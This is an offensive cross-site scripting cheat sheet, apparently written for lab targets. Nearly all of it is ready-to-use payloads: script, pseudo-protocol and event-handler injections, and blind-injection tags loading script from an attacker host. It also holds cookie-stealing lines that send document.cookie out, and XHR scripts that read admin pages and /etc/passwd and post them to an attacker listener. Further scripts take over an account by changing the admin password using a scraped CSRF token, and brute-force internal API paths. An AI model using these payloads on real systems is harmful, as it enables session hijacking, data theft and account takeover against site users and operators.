XSS#

Here are some way you can execute JavaScript. A good overview is provided by PortSwigger’s XSS Cheat Sheet.

Script Tag

<script>alert(1)</script>

Pseudo Protocols

We can use pseudo-protocols such as javascript or data in certain HTML attributes that indicate where data is loaded from to achieve JavaScript code execution. For instance, we can set the target of an a tag to the javascript pseudo protocol, and the corresponding JavaScript code is executed when the link is clicked:

<a href="javascript:alert(1)">click</a>

We can also create XSS payloads with pseudo-protocols that do not require user interaction. For instance, using the object tag. The data pseudo protocol allows us to specify plain HTML code or base64-encoded HTML code:

<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Event Handlers

Thirdly, we can use event handlers such as onload or onerror to specify JavaScript code that is executed when the event handler is triggered:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Blind Injection

Open a web server

python3 -m http.server 80

Put this in every input field, remember to replace input_field with the name of input field so you know which one is vulnerable

  • <script> tag
'"><script src="http://OUR_IP/input_field"></script>
  • <img> tag
'"><img src="http://OUR_IP/input_field">

Then, you can use this to fetch javascript code from our own server without needing to post new payload everytime

'"><script src="http://OUR_IP/pwn.js"></script>

Session Hijack#

This attack is completely crippled by HttpOnly Cookie Attribute

Basically, what we want is to make the browser reach our site, sending along the cookies of the current site.

document.location will send the browser to a specified URL. In this case, we just redirect them to our site

document.location='http://OUR_IP/index.php?c='+document.cookie;

image().src is a little more subtle. It will create an <img> tag, and the browser will load that <img> tag, and it will reach our site

new Image().src='http://OUR_IP/index.php?c='+document.cookie;

This is an <img> tag, for HTML injection. The previous payloads are js code. Same functionality as the payload above

"><img src="x" onerror="new Image().src='http://OUR_IP/index.php?c='+document.cookie;">

Access Exclusive Endpoint#

You can fuzz subdirectories or files in the web server and use XSS to fetch what seems important. See if there is any function exclusive to admin for example

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.144:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();

Then you can chain it with another vulnerability, like LFI

var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', true);
xhr.withCredentials = true;
xhr.onload = () => {
    var exfil = new XMLHttpRequest();
    exfil.open("POST", "https://10.10.14.144:4443/log", true);
    exfil.setRequestHeader("Content-Type", "application/json");
    exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
};
xhr.send();

Debug#

We can try to determine the error with a try-catch block. Notice that we set async to false in the line xhr.open('GET', '/admin.php', false)

try {
	var xhr = new XMLHttpRequest();
	xhr.open('GET', '/admin.php', false);
	xhr.withCredentials = true;
	xhr.send();
	var msg = xhr.responseText;
} catch (error) {
	var msg = error;
}

var exfil = new XMLHttpRequest();
exfil.open("POST", "https://10.10.14.144:4443/log", true);
exfil.setRequestHeader("Content-Type", "application/json");
exfil.send(JSON.stringify({data: btoa(msg)}));

Submitting Forms#

Say there is a password change POST form that do not require to enter old password, but have CSRF token

We can just GET the page to get CSRF token, then do a POST with CSRF token and voila, account takeover

// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

Directory brute-force#

var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];

for (i in endpoints){
	try {
		var xhr = new XMLHttpRequest();
		xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
		xhr.send();
		
		if (xhr.status != 404){
			var exfil = new XMLHttpRequest();
			exfil.open("POST", "https://10.10.14.144:4443/log", true);
			exfil.setRequestHeader("Content-Type", "application/json");
			exfil.send(JSON.stringify({data: btoa(endpoints[i])}));
		}
	} catch {
		// do nothing
	}
}